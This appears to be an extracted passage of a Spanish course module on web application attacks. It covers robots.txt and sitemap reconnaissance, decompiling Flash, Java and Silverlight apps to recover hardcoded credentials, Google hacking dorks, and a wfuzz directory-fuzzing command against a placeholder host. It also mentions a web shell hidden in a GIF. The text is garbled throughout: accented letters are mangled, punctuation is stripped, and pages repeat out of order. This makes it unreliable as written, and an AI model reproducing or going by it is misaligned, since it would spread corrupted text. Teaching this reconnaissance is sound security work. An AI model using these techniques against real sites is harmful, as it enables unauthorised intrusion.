Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
